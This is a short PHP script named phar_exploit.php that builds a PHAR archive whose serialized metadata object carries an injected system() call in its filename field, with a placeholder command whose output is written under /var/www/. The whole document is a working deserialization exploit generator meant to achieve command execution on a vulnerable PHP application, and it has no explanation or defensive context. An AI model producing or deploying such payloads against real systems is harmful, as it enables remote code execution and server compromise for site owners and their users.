phar_exploit.php

<?php
class UploadFile {
    public $filename="'.system('<cmd to execute> > /var/www/').'";
}

$o=new UploadFile();

$phar = new Phar("phar.phar");
$phar->startBuffering();

$phar->addFromString("test.txt","test");
$phar->setStub("<?php __HALT_COMPILER(); ?>");

$phar->setMetadata($o);
$phar->stopBuffering();

?>